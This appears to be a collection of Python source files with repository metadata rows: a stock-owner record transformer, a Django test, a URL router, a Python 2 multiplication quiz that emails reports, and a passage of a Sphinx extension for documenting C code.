country["iso2"],
country["iso3"],
country["country_short_name"],
country["country_name"],
country["country_name_en"],
}
res["country_name"] = country["country_short_name"]
if dt.get("type_of_stock") in STOCK_TYPES:
res["stock_readable"] = STOCK_TYPES[dt["type_of_stock"]]["value"]
if dt.get("owner_edrpou") or dt.get("foreign_code"):
# Stock owner is a company
if dt.get("patronymic"):
logger.warning(
"Record has both, code {} and patronymic {} set".format(
dt.get("owner_edrpou") or dt.get("foreign_code"),
dt.get("patronymic"),
)
)
companies |= generate_edrpou_options(dt["owner_edrpou"])
companies |= unify_cyprus_codes(dt["foreign_code"])
companies.add(dt["first_name"])
companies.add(dt["last_name"])
res["company_owner"] = {
"short_name": dt["first_name"],
"full_name": dt["last_name"],
"code": dt["owner_edrpou"],
"foreign_code": dt["foreign_code"]
}
else:
persons |= generate_all_names(
dt["last_name"], dt["first_name"], dt["patronymic"], "Акціонер"
)
names_autocomplete |= autocomplete_suggestions(
concat_name(dt["last_name"], dt["first_name"], dt["patronymic"])
)
res["person_owner"] = concat_name(dt["last_name"], dt["first_name"], dt["patronymic"])
names_autocomplete |= companies
res.update(dt)
del res["date_of_report"]
res.update(
{
"companies": list(filter(None, companies)),
"countries": list(filter(None, countries)),
"persons": list(filter(None, persons)),
"names_autocomplete": list(filter(None, names_autocomplete)),
}
)
return res
| 33.520408 | 98 | 0.571994 | 344 | 3,285 | 5.212209 | 0.27907 | 0.033463 | 0.030675 | 0.033463 | 0.139989 | 0.104294 | 0.104294 | 0.104294 | 0.08589 | 0.047964 | 0 | 0.00088 | 0.308371 | 3,285 | 97 | 99 | 33.865979 | 0.788292 | 0.007306 | 0 | 0 | 1 | 0 | 0.201289 | 0.015649 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025641 | false | 0 | 0.102564 | 0.012821 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7c88489a28ff18baaa2156f3f5c8d2311eb8bce | 567 | py | Python | tests/unit_tests/test_tethys_config/test_apps.py | msouff/tethys | 45795d1e6561d5db8fddd838f4d1ae1d91dbb837 | [
"BSD-2-Clause"
] | 79 | 2015-10-05T13:13:28.000Z | 2022-02-01T12:30:33.000Z | tests/unit_tests/test_tethys_config/test_apps.py | msouff/tethys | 45795d1e6561d5db8fddd838f4d1ae1d91dbb837 | [
"BSD-2-Clause"
] | 542 | 2015-08-12T22:11:32.000Z | 2022-03-29T22:18:08.000Z | tests/unit_tests/test_tethys_config/test_apps.py | msouff/tethys | 45795d1e6561d5db8fddd838f4d1ae1d91dbb837 | [
"BSD-2-Clause"
] | 71 | 2016-01-16T01:03:41.000Z | 2022-03-31T17:55:54.000Z | import unittest
from django.apps import apps
from tethys_config.apps import TethysPortalConfig
class TethysConfigAppsTest(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def test_TethysPortalConfig(self):
app_config = apps.get_app_config('tethys_config')
name = app_config.name
verbose_name = app_config.verbose_name
self.assertEqual('tethys_config', name)
self.assertEqual('Tethys Portal', verbose_name)
self.assertTrue(isinstance(app_config, TethysPortalConfig))
| 24.652174 | 67 | 0.714286 | 64 | 567 | 6.125 | 0.390625 | 0.114796 | 0.056122 | 0.127551 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.209877 | 567 | 22 | 68 | 25.772727 | 0.875 | 0 | 0 | 0.133333 | 0 | 0 | 0.068783 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0.133333 | 0.2 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e7d01d5596c98267e2d849c7a50050a61e7e8fda | 370 | py | Python | rooms/urls.py | nahidsaikat/reservation | 7b4856b67072f90e2a126cc55c484e0d8bf601d4 | [
"MIT"
] | null | null | null | rooms/urls.py | nahidsaikat/reservation | 7b4856b67072f90e2a126cc55c484e0d8bf601d4 | [
"MIT"
] | null | null | null | rooms/urls.py | nahidsaikat/reservation | 7b4856b67072f90e2a126cc55c484e0d8bf601d4 | [
"MIT"
] | null | null | null | from django.urls import include, path
from rest_framework.routers import DefaultRouter
from rooms import views
# Create a router and register our viewsets with it.
router = DefaultRouter()
router.register(r"room", views.RoomViewSet, basename="room")
# The API URLs are now determined automatically by the router.
urlpatterns = [
path("", include(router.urls)),
]
| 26.428571 | 62 | 0.767568 | 50 | 370 | 5.66 | 0.66 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.143243 | 370 | 13 | 63 | 28.461538 | 0.892744 | 0.3 | 0 | 0 | 0 | 0 | 0.03125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
e7db8492475b75a00d0010b8cfc1881824df5024 | 14,511 | py | Python | multiplication.py | iAnatoly/multiplication | 221d7cd2dd8c2d5ac4440568a4368b5f34f914ac | [
"Apache-2.0"
] | 1 | 2019-04-17T19:17:23.000Z | 2019-04-17T19:17:23.000Z | multiplication.py | iAnatoly/multiplication | 221d7cd2dd8c2d5ac4440568a4368b5f34f914ac | [
"Apache-2.0"
] | null | null | null | multiplication.py | iAnatoly/multiplication | 221d7cd2dd8c2d5ac4440568a4368b5f34f914ac | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
#
# This script is free for use and redistribution in educational purposes.
# See https://github.com/iAnatoly/multiplication/ for more info.
#
# email notification configuration is defined in multiplication.config
import random
import os
import sys
import smtplib
import ConfigParser
from email.mime.text import MIMEText
from datetime import datetime
try:
from enum import Enum
except ImportError:
cmd = "sudo pip install enum34"
print "Cannot find enum module; trying to fix - running '{0}'".format(cmd)
os.system(cmd)
from enum import Enum
#
# Enums for different modes
#
class TrainingMode(Enum):
Training = 1
Precision = 2
TimeTrial = 3
SPARTA = 4
class TrainingTaskMode(Enum):
Multiplication = 1
Division = 2
Square = 3
PowerOfTwo = 4
SquareRoot = 5
LogOfTwo = 6
#
# Static input helpers
#
class InputHelper:
@staticmethod
def getNumber(message):
while True:
try:
result = int(raw_input(message))
return result
except ValueError:
print "That is not a number"
@staticmethod
def getNumberWithDefault(message, default):
while True:
try:
raw_result = raw_input(message + " [default={0}] ".format(default))
if raw_result == '':
print "Using default={0}".format(default)
return default
else:
return int(raw_result)
except ValueError:
print "That is not a number"
@staticmethod
def getBooleanAnswer(message):
while True:
result = raw_input(message)
if 'yes' in result:
return True
elif 'no' in result:
return False
else:
print "Please answer 'yes' or 'no'"
@staticmethod
def boolToYesNo(value):
return "yes" if value else "no"
@staticmethod
def getBooleanAnswerWithDefault(message, default):
while True:
result = raw_input(message + " [default={0}] ".format(InputHelper.boolToYesNo(default)))
if 'yes' in result:
return True
elif 'no' in result:
return False
elif result == '':
print "Using default={0}".format(InputHelper.boolToYesNo(default))
return default
else:
print "Please answer 'yes' or 'no'"
@staticmethod
def getSelection(max):
while True:
result = InputHelper.getNumber("Please enter your choice: ")
if result > 0 and result <= max:
return result
else:
print "Incorrect selection. Expecting a number [1...{0}]".format(max)
@staticmethod
def getSelectionWithDefault(max, default):
while True:
result = InputHelper.getNumberWithDefault("Please enter your choice ", default)
if result > 0 and result <= max:
return result
else:
print "Incorrect selection. Expecting a number [1...{0}]".format(max)
@staticmethod
def pause():
hush = raw_input("Press [ENTER] to end the session")
@staticmethod
def printNoCR(msg):
sys.stdout.write(msg)
sys.stdout.flush()
#
# Email helper
#
class Config:
def __init__(self):
self.emailNotificationEnabled = False
self.sender = ''
self.recipients = ''
self.smtpserver = 'smtp.gmail.com:587'
self.smtptls = True
self.smtpuser = ''
self.smtppassword = ''
class ConfigHelper:
@staticmethod
def getFileName():
return os.path.dirname(__file__) + "/multiplication.config"
@staticmethod
def getConfig():
config = Config()
try:
parser = ConfigParser.ConfigParser()
parser.read(ConfigHelper.getFileName())
config.emailNotificationEnabled = parser.getboolean('EmailConfiguration', 'EmailNotificationEnabled')
config.smtpserver = parser.get('EmailConfiguration', 'SMTPServer')
config.smtptls = parser.getboolean('EmailConfiguration', 'SMTPTLS')
config.sender = parser.get('EmailConfiguration', 'sender')
config.recipients = parser.get('EmailConfiguration', 'recipients')
config.smtpuser = parser.get('EmailConfiguration', 'SMTPUser')
config.smtppassword = parser.get('EmailConfiguration', 'SMTPPassword')
except Exception as e:
print e
return config
class EmailHelper:
def __init__(self, config):
self.config = config
def prepareMessage(self, result, mode):
msg = MIMEText(result, 'plain')
msg['Subject'] = '{0} report at {1}'.format(mode, datetime.now())
msg['From'] = "'{0} Report' <{1}>".format(mode, self.config.sender)
msg['To'] = self.config.recipients
return msg
def sendEmail(self, result, mode):
try:
InputHelper.printNoCR("\nPlease wait - sending report to mom & dad...")
server = smtplib.SMTP(self.config.smtpserver)
server.set_debuglevel(False)
server.ehlo()
if self.config.smtptls:
server.starttls()
server.login(self.config.smtpuser, self.config.smtppassword)
InputHelper.printNoCR('.')
msg = self.prepareMessage(result, mode)
recipients = map(lambda i: i.strip(), self.config.recipients.split(";"))
server.sendmail(self.config.sender, recipients, msg.as_string())
InputHelper.printNoCR('.')
server.quit()
print "done.\n"
except Exception as e:
print "\nError sending out email: {0}.".format(e)
class Answer:
def __init__(self, prev1, prev2, mode):
self.mode = mode
if self.mode == TrainingTaskMode.Multiplication or self.mode == TrainingTaskMode.Division:
upperLimit1 = 13
lowerLimit = 1
else:
upperLimit1 = 20
lowerLimit = 2
upperLimit2 = 12
self.answer = 0
self.num1 = self.num2 = 0
random.seed()
while self.isRepeating(prev1, prev2):
self.num2 = random.randrange(lowerLimit, upperLimit2)
self.num1 = random.randrange(lowerLimit, upperLimit1)
@property
def question(self):
if self.mode == TrainingTaskMode.Multiplication:
return "{0} X {1} = ".format(self.num1, self.num2)
elif self.mode == TrainingTaskMode.Division:
return "{0} / {1} = ".format(self.num1 * self.num2, self.num1)
elif self.mode == TrainingTaskMode.Square:
return "{0} ^2 = ".format(self.num1)
elif self.mode == TrainingTaskMode.SquareRoot:
return "X^2 = {0}; X=".format(self.num1 * self.num1)
elif self.mode == TrainingTaskMode.PowerOfTwo:
return "2^ {0} = ".format(self.num1)
elif self.mode == TrainingTaskMode.LogOfTwo:
return "2^X = {0}; X=".format(pow(2, self.num1))
else:
raise Exception('unknown mode')
@property
def questionAnswer(self):
return "{0}{1}".format(self.question, self.answer)
@property
def questionAnswerTiming(self):
return "{0}; time taken: {1}.{2}s".format(self.questionAnswer, self.timeTaken.seconds,
self.timeTaken.microseconds / 10000)
@property
def getCorrectnessMessage(self):
return "Correct" if self.isCorrect() else "Incorrect"
@property
def questionAnswerTimingCorrectness(self):
return "{0} ({1})".format(self.questionAnswerTiming, self.getCorrectnessMessage)
def isRepeating(self, prev1, prev2):
for p in prev1:
if self.num1 == p:
return True
for p in prev2:
if self.num2 == p:
return True
return False
def askQuestionWithFeedback(self, i):
self.askQuestion(i)
print "\t" + self.getCorrectnessMessage
def askQuestion(self, i):
time = datetime.now()
self.answer = InputHelper.getNumber("Try #{0}: {1}".format(i, self.question))
self.timeTaken = datetime.now() - time
def isCorrect(self):
if self.mode == TrainingTaskMode.Multiplication:
return self.num1 * self.num2 == self.answer
elif self.mode == TrainingTaskMode.Division:
return self.num2 == self.answer
elif self.mode == TrainingTaskMode.Square:
return self.num1 * self.num1 == self.answer
elif self.mode == TrainingTaskMode.SquareRoot:
return self.num1 == self.answer
elif self.mode == TrainingTaskMode.PowerOfTwo:
return pow(2, self.num1) == self.answer
elif self.mode == TrainingTaskMode.LogOfTwo:
return self.num1 == self.answer
else:
raise Exception('unknown mode')
class Session:
def __init__(self):
self.stats = Stats()
self.ttmode = TrainingTaskMode.Multiplication
def main(self):
self.askUserParameters()
self.run()
InputHelper.pause()
@property
def isTimeLimitEnabled(self):
return self.modeSelection == TrainingMode.TimeTrial or self.modeSelection == TrainingMode.SPARTA
@property
def isPrecisionModeEnabled(self):
return self.modeSelection == TrainingMode.Precision or self.modeSelection == TrainingMode.SPARTA
@property
def getMode(self):
return self.ttmode.name
def askUserParameters(self):
print "Please select excercise:\n1: Multiplication;\n2: Division;\n3: Quadrat;\n4: Power of 2\n5: Square root;\n6: Log of 2.\n"
self.ttmode = TrainingTaskMode(InputHelper.getSelectionWithDefault(6, 1))
self.stats.tries = InputHelper.getNumberWithDefault("How many tries? [please enter a number] ",
self.stats.tries)
print "Please select mode:\n1: Training (no time limit, mistakes are allowed);\n2: Precision trial (no time limit, stop after first mistake);\n3: Time trial (time limit, mistakes are allowed);\n4: THIS IS SPARTA (time limit, stop after first error).\n"
self.modeSelection = TrainingMode(InputHelper.getSelectionWithDefault(4, 1))
if self.isTimeLimitEnabled:
self.timeLimit = InputHelper.getNumberWithDefault("Time limit (seconds)", 180)
def run(self):
# TODO: move the history tracking into a separate class
prev1 = [0]
prev2 = [0]
self.stats.startTimer()
for i in range(0, self.stats.tries):
answer = Answer(prev1, prev2, self.ttmode)
prev1.insert(0, answer.num1)
prev2.insert(0, answer.num2)
while len(prev1) > 5:
prev1.pop()
while len(prev2) > 5:
prev2.pop()
answer.askQuestionWithFeedback(i + 1)
if self.isTimeLimitEnabled:
if self.stats.isTimeLimitExceeded(self.timeLimit):
print " Out of Time!{0}".format(
" THIS IS SPARTA!!! " if self.modeSelection == TrainingMode.SPARTA else "")
break
self.stats.append(answer)
if (not answer.isCorrect()) and self.isPrecisionModeEnabled:
break
self.stats.stopTimer()
result = self.stats.getResults(self.getMode)
print result
try:
mailConfig = ConfigHelper.getConfig()
if mailConfig.emailNotificationEnabled:
mailSender = EmailHelper(mailConfig)
mailSender.sendEmail(result, self.getMode)
else:
print "Email notification is disabled. Please edit {0} file to enable it.".format(
ConfigHelper.getFileName())
except Exception as e:
print "Email notification is skipped due to an error {1} or absence of configuration. Please check {0} file.".format(
ConfigHelper.getFileName(), e)
class Stats:
def __init__(self):
self.stats = []
self.tries = 100
self.elapsed = 0
self.date = datetime.now()
self.timerRunning = False
def updateTimer(self):
self.elapsed = datetime.now() - self.date
def startTimer(self):
self.date = datetime.now()
self.updateTimer()
self.timerRunning = True
def stopTimer(self):
self.updateTimer()
self.timerRunning = False
@property
def getElapsed(self):
if self.timerRunning:
self.updateTimer()
return self.elapsed
def isTimeLimitExceeded(self, limit):
return self.getElapsed.seconds >= limit
def append(self, answer):
self.stats.append(answer)
def getResults(self, mode):
slow = sorted(self.stats, key=lambda x: x.timeTaken, reverse=True)[:5]
errors = filter(lambda x: not x.isCorrect(), self.stats)
total = len(self.stats)
wrong = len(errors)
right = total - wrong
result = "\nMode: {0}".format(mode)
result += "\nDesired attempts: {0}".format(self.tries)
result += "\nActual attempts: {0} ({1}%)".format(total, total * 100 / self.tries)
result += "\nTime Taken: {0} minutes {1} seconds ({2} seconds avg per try)".format(self.elapsed.seconds / 60,
self.elapsed.seconds % 60,
self.elapsed.seconds * 1.0 / total)
result += "\nRight: {0}({1}%)".format(right, right * 100 / total if (total > 0) else 0)
result += "\nWrong: {0}({1}%)".format(wrong, wrong * 100 / total if (total > 0) else 0)
result += "\n\nList of wrong answers:\n" + "\n".join(
map(lambda result: "\t" + result.questionAnswerTiming, errors))
result += "\n\nList of slow answers:\n" + "\n".join(
map(lambda result: "\t" + result.questionAnswerTimingCorrectness, slow))
return result
if __name__ == "__main__":
try:
session = Session()
session.main()
except KeyboardInterrupt:
print "\nInterrupted"
| 33.130137 | 260 | 0.585142 | 1,493 | 14,511 | 5.659076 | 0.217683 | 0.016097 | 0.039768 | 0.03314 | 0.261924 | 0.207717 | 0.149604 | 0.101314 | 0.0677 | 0.049237 | 0 | 0.018345 | 0.3088 | 14,511 | 437 | 261 | 33.20595 | 0.824028 | 0.023155 | 0 | 0.319527 | 0 | 0.008876 | 0.130518 | 0.003249 | 0.005917 | 0 | 0 | 0.002288 | 0 | 0 | null | null | 0.008876 | 0.029586 | null | null | 0.071006 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7deb1679af25d09e1d50c1052e387e2a3fc381d | 26,463 | py | Python | src/sphinx_c_autodoc/__init__.py | speedyleion/sphinx-c-doc | 65721f7164a463742bc2d0b18a92b2d633a5eb3a | [
"MIT",
"Unlicense"
] | 7 | 2020-06-06T06:47:31.000Z | 2021-12-12T14:18:08.000Z | src/sphinx_c_autodoc/__init__.py | speedyleion/sphinx-c-doc | 65721f7164a463742bc2d0b18a92b2d633a5eb3a | [
"MIT",
"Unlicense"
] | 15 | 2020-03-12T01:43:24.000Z | 2021-04-21T06:45:13.000Z | src/sphinx_c_autodoc/__init__.py | speedyleion/sphinx-c-doc | 65721f7164a463742bc2d0b18a92b2d633a5eb3a | [
"MIT",
"Unlicense"
] | 1 | 2021-08-05T20:23:01.000Z | 2021-08-05T20:23:01.000Z | """
sphinx_c_autodoc is a package which provide c source file parsing for sphinx.
It is composed of multiple directives and settings:
.. rst:directive:: .. c:module:: filename
A directive to document a c file. This is similar to :rst:dir:`py:module`
except it's for the C domain. This can be used for both c source files as
well as c header files.
"""
import json
import os
import re
from dataclasses import dataclass, field
from itertools import groupby
from typing import Any, List, Optional, Tuple, Dict
from docutils.statemachine import ViewList, StringList
from docutils import nodes
from sphinx.domains.c import CObject
from sphinx.application import Sphinx
from sphinx.util import logging
from sphinx.util.docstrings import prepare_docstring
from sphinx.ext.autodoc import (
Documenter,
members_option,
bool_option,
member_order_option,
)
from sphinx.ext.autodoc.directive import DocumenterBridge
from sphinx_c_autodoc import loader
from sphinx_c_autodoc.domains.c import patch_c_domain
# TODO not real fond of this being here in the main c autodoc file, need to
# find a way to make it easier to cache the documented files.
@dataclass
class ViewCodeListing:
"""
A data structure used for constructing a viewcode source listing.
Attributes:
raw_listing:
The plain text representation of the code. This should be
basically the output of file.read().
ast (Dict):
A dictionary like representation of the code constructs.
See :ref:`developer_notes:Common Terms`.
doc_links (Dict): To be used by the consumers, i.e. viewcode.
"""
raw_listing: str
ast: Dict
doc_links: Dict = field(default_factory=dict)
logger = logging.getLogger(__name__)
class CObjectDocumenter(Documenter):
# pylint: disable=line-too-long
"""
A C object autodocument class to work with
`autodoc <https://www.sphinx-doc.org/en/master/usage/extensions/autodoc.html#module-sphinx.ext.autodoc>`_
extension for sphinx.
"""
# pylint: enable=line-too-long
domain = "c"
# Filler type, this base class isn't used directly
directivetype = "object"
# must be higher than the AttributeDocumenter, else it will steal the c
# objects
priority = 11
option_spec = {
"members": members_option,
"noindex": bool_option,
"private-members": bool_option,
"member-order": member_order_option,
"undoc-members": bool_option,
}
@classmethod
def can_document_member(
cls, member: Any, membername: str, isattr: bool, parent: Any
) -> bool:
"""
Parameters:
member (object): The member item to document. This type is specific
to the item being processed by autodoc. These classes will
only attempt to process
:class:`sphinx_c_autodoc.loader.CObjectDocumenter` members.
membername (str): The name of the item to document. For example if
this is a function then this will be the name of the function,
no return types, no arguments.
isattr (bool): Is the member an attribute. This is unused for c
documenation.
parent (object): The parent item of this `member`.
Returns:
bool: True if this class can document the `member`.
"""
return (
isinstance(parent, CObjectDocumenter) and member.type == cls.directivetype
)
def parse_name(self) -> bool:
"""Determine what module to import and what attribute to document.
.. note:: Sphinx autodoc supports args and return anotation, since
this is targeting C and it isn't currently needed, these won't be
supported by this implementation.
Returns:
bool: True if successfully parsed and sets :attr:`modname`,
:attr:`objpath`, :attr:`fullname`.
False if the signature couldn't be parsed.
"""
c_autodoc_re = re.compile(r"^([\w\/\\.]+)(::([\w.]+\.)?(\w+))?\s*$")
try:
match = c_autodoc_re.match(self.name)
fullname, _, path, base = match.groups() # type: ignore
except AttributeError:
logger.warning(
"invalid signature for auto%s (%r)" % (self.objtype, self.name),
type="c_autodoc",
)
return False
parents: List[str]
if path is None:
parents = []
else:
parents = path.rstrip(".").split(".")
self.modname, self.objpath = self.resolve_name(fullname, parents, path, base)
self.fullname = self.modname
return True
def resolve_name(
self, modname: str, parents: List[str], path: Optional[str], base: str
) -> Tuple[str, List[str]]:
"""
Resolve the module and object name of the object to document.
This can be derived in two ways:
- Naked: Where the argument is only the file/module name `my_file.c`
- Double colons: Where the argument to the directive is of the form
`my_file.c::some_func`.
Args:
modname (str): The filename of the c file (module)
parents (list): The list split('.') version of path.
- The filename without the extension when naked argument is used.
- Any parents when double colon argument is used. For example
structs or unions of `my_struct.field_name` would have a
parents entry of ['my_struct']
path (str): Two possible states:
- None if `parents` is the empty list.
- The ``'.'.join()`` version of `parents`, with a trailing ``.``.
base (str): The name of the object to document. This will be None
when the object to document is the c module
Returns:
tuple: (str, [str]) The module name, and the object names (if any).
"""
if base:
return modname, parents + [base]
return modname, []
def import_object(self, raiseerror: bool = False) -> bool:
"""Load the C file and build up the document structure.
This will load the C file's documented structure into :attr:`object`
Args:
raiseerror (bool): Raise error, this is ignored for the c implementation as
import errors don't happen.
Returns:
bool: True if the file was imported, false otherwise.
"""
for source_dir in self.env.config.c_autodoc_roots:
filename = os.path.join(source_dir, self.get_real_modname())
# Prefixing with "/" will force "absolute" path which is relative
# to the source directory.
rel_filename, filename = self.env.relfn2path(f"/{filename}")
if os.path.isfile(filename):
break
else:
logger.warning(
"Unable to find file, %s, in any of the directories %s "
"all directories are relative to the top documentation source directory"
% (self.get_real_modname(), self.env.config.c_autodoc_roots),
location=(self.env.docname, self.directive.lineno),
)
return False
self.env.note_dependency(rel_filename)
source_dict = getattr(self.env, "_viewcode_c_modules", {})
self.env._viewcode_c_modules = source_dict # type: ignore
# TODO The :attr:`temp_data` is reset for each document ideally want to
# use or make an attribute on `self.env` that is reset per run or just
# not pickled.
modules_dict = self.env.temp_data.setdefault("c:loaded_modules", {})
if filename not in modules_dict:
with open(filename) as f:
contents = [f.read()]
# let extensions preprocess files
self.env.app.emit("c-autodoc-pre-process", filename, contents)
compilation_db = self.get_compilation_database()
compilation_args = self.env.config.c_autodoc_compilation_args
modules_dict[filename] = loader.load(
filename, contents[0], compilation_db, compilation_args
)
ast = json.loads(str(modules_dict[filename]))
source_dict.setdefault(
self.get_real_modname(), ViewCodeListing(contents[0], ast)
)
self.module = modules_dict[filename]
self.object = self.module
self.object_name = self.name
# objpath is set when double colons are used in :meth:`resolve_name`.
# i.e. this is a node or sub-node in a module.
if self.objpath:
for obj in self.objpath:
self.object_name = obj
self.object = self.object.children[self.object_name] # type: ignore
return True
def get_compilation_database(self) -> Optional[str]:
"""
Get's the compilation database from the environment
`c_autodoc_compilation_database`
Returns:
str: The full path to the compilation database to use. None if there is no
compilation database.
"""
database = self.env.config.c_autodoc_compilation_database
if not database:
return None
# Prefixing with "/" will force "absolute" path which is relative
# to the source directory.
_, filename = self.env.relfn2path(f"/{database}")
if os.path.isfile(filename):
return filename
logger.warning(
'Compilation database "%s" not found.' % (filename,),
location=(self.env.docname, self.directive.lineno),
)
return None
def get_doc(self, ignore: int = None) -> Optional[List[List[str]]]:
"""Decode and return lines of the docstring(s) for the object."""
docstring = self.object.get_doc()
tab_width = self.directive.state.document.settings.tab_width
return [prepare_docstring(docstring, ignore, tab_width)]
def get_object_members(self, want_all: bool) -> Tuple[bool, List[Tuple[str, Any]]]:
"""Return `(members_check_module, members)` where `members` is a
list of `(membername, member)` pairs of the members of *self.object*.
If *want_all* is True, return all members. Else, only return those
members given by *self.options.members* (which may also be none).
"""
if want_all:
return False, list(self.object.children.items())
# The caller sets `want_all` if :attr:`options.members` is ALL, so it
# should be safe to assume this is a list or None at this point.
desired_members = self.options.members or []
object_members: List[Tuple[str, Any]] = []
for member in desired_members:
if member in self.object.children:
object_members.append((member, self.object.children[member]))
else:
logger.warning(
'Missing member "%s" in object "%s"' % (member, self.fullname),
type="c_autodoc",
)
return False, object_members
def filter_members( # type: ignore[override]
self, members: List[Tuple[str, Any]], want_all: bool
) -> List[Tuple[str, Any, bool]]:
"""Filter the given member list.
:meth:`filter_members` is called *after* :meth:`get_object_members`,
this means if `want_all` is False then only private members which
were explicitly requested will be in this list. Only when `want_all`
is True do we need to actually condition on private member.
Members are skipped if
- they are private (except if given explicitly or the private-members
option is set)
- they are undocumented (except if the undoc-members option is set)
TODO not implemented yet.
The user can override the skipping decision by connecting to the
``autodoc-skip-member`` event.
"""
ret = []
isattr = False
for (membername, member) in members:
if not want_all:
ret.append((membername, member, isattr))
elif member.doc or self.options.undoc_members:
if member.is_public() or self.options.private_members:
ret.append((membername, member, isattr))
return ret
def format_name(self) -> str:
"""Format the name of *self.object*.
This normally should be something that can be parsed by the generated
directive, but doesn't need to be (Sphinx will display it unparsed
then).
For things like functions and others this will include the return type.
"""
return self.object.format_name()
def format_args(self, **kwargs: Any) -> str:
"""
Creates the parenthesis version of the function signature. i.e. this
will be the `(int hello, int what)` portion of the header.
"""
return self.object.format_args(**kwargs)
class CModuleDocumenter(CObjectDocumenter):
"""
This auto documenter will be registered as a directive named `autocmodule`,
there may be a way to override the python `automodule`, just not sure yet...
"""
objtype = "cmodule"
directivetype = "module"
@classmethod
def can_document_member(
cls, member: Any, membername: str, isattr: bool, parent: Any
) -> bool:
"""
Modules are top levels so should never be included as a child of another
c object.
Parameters:
member (object): The member item to document. This type is specific
to the item being processed by autodoc. These instances will
only attempt to process
:class:`sphinx_c_autodoc.loader.CObjectDocumenter`.
membername (str): The name of the item to document. For example if
this is a function then this will be the name of the function,
no return types, no arguments.
isattr (bool): Is the member an attribute. This is unused for c
documenation.
parent (object): The parent item of this `member`.
Returns:
bool: True if this class can document the `member`.
"""
return False
class CTypeDocumenter(CObjectDocumenter):
"""
The documenter for the autoctype directive.
"""
objtype = "ctype"
directivetype = "type"
def __init__(
self, directive: DocumenterBridge, name: str, indent: str = ""
) -> None:
"""
Override the :attr:`directive` so that some post processing can be
performed in :meth:`generate`
"""
super().__init__(directive, name, indent)
self._original_directive = self.directive
self.directive = DocumenterBridge(
self.directive.env,
self.directive.reporter,
self.directive.genopt,
self.directive.lineno,
self.directive.state,
)
def generate(
self,
more_content: Optional[StringList] = None,
real_modname: Optional[str] = None,
check_module: bool = False,
all_members: bool = False,
) -> None:
"""
generate stuff
"""
super().generate(
more_content=more_content,
real_modname=real_modname,
check_module=check_module,
all_members=all_members,
)
self._original_directive.result.append(self.consolidate_members())
def _find_member_directives(self, name: str) -> List[Tuple[str, str, int]]:
"""
Find all directive lines which start with `` ..c:<name>::``.
Creates a sequence of:
- The short name of the item documented by the directive.
- The full signature of the item documented.
- The line number in :attr:`directive.results`.
For instnace a directive of ``..c:some_directive word1 word2 word3``
would result in ``word3`` being the short name and
``word1 word2 word3`` being the full signature.
Args:
name (str): The name of the directive(s) to search for.
Returns:
list(tuple(str, str, int)): The short name, the full signature,
and the line in :attr:`directive.results` where the
directive occured.
"""
members = []
directive_string = f".. c:{name}::"
for line_no, line in enumerate(self.directive.result):
if not line.startswith(self.indent):
continue
if line.lstrip().startswith(directive_string):
_, signature = line.split(directive_string)
# members may document array types so break on the brace
# `int member_name [some_size][maybe_2nd_dimension]`
type_and_name, *(_) = signature.strip().partition("[")
sig_parts = type_and_name.strip().split()
members.append((sig_parts[-1], signature, line_no))
return members
def _remove_directive(self, line: int) -> StringList:
"""
Remove the directive which starts at `line_no` from
:attr:`directive.results`. The locations in :attr:`directive.results`
will be replaced with empty lines so that the total line count of
:attr:`directive.results` is unaffected.
Args:
line (int): The starting line to remove the directive from.
Returns:
:class:`StringList`: The removed directive which started at `line_no`
"""
# Just need to do at least one more indentation than the actual
# directive to not end up grabbing the next directive.
directive_line = self.directive.result[line]
block_indent = (len(directive_line) - len(directive_line.lstrip())) + 1
directive, _, _ = self.directive.result.get_indented(
line, first_indent=0, block_indent=block_indent, strip_indent=False
)
directive.disconnect()
# Setting slices need viewlists/stringlists so just iterate through and
# set indices which can take strings
directive_length = len(directive)
for line_no in range(line, line + directive_length):
self.directive.result[line_no] = self.indent
return directive
@staticmethod
def _merge_directives(directives: List[StringList]) -> StringList:
"""
The last directive heading will be used to represent the heading for the entire
group of directives.
Args:
directives (list(StringList)): The list of directives to merge.
Returns:
StringList: One directive
"""
merged_heading = StringList()
merged_directive = StringList()
merged_options = StringList()
for directive in directives:
options, _, _ = directive.get_indented(
1, until_blank=True, strip_indent=False
)
if options:
merged_options.extend(options)
del directive[1 : 1 + len(options)]
directive_heading = directive[0]
del directive[0]
merged_directive.extend(directive)
merged_heading = directive_heading
merged_directive.insert(0, merged_options)
merged_directive.insert(0, merged_heading, source=merged_directive.source(0))
return merged_directive
def consolidate_members(self) -> StringList:
"""
Take any duplicate autodoc member directives and consolidate them into
one directive. The subsequent contents of duplicate directives will be
added as additional paragraphs on the first occurrence of the directive.
Returns:
StringList: The entire rst contents for this directive instance.
"""
# Grab any constructs that could be declared inside of a struct, union or enum.
members = []
for sub_type in ("member", "struct", "union", "enumerator"):
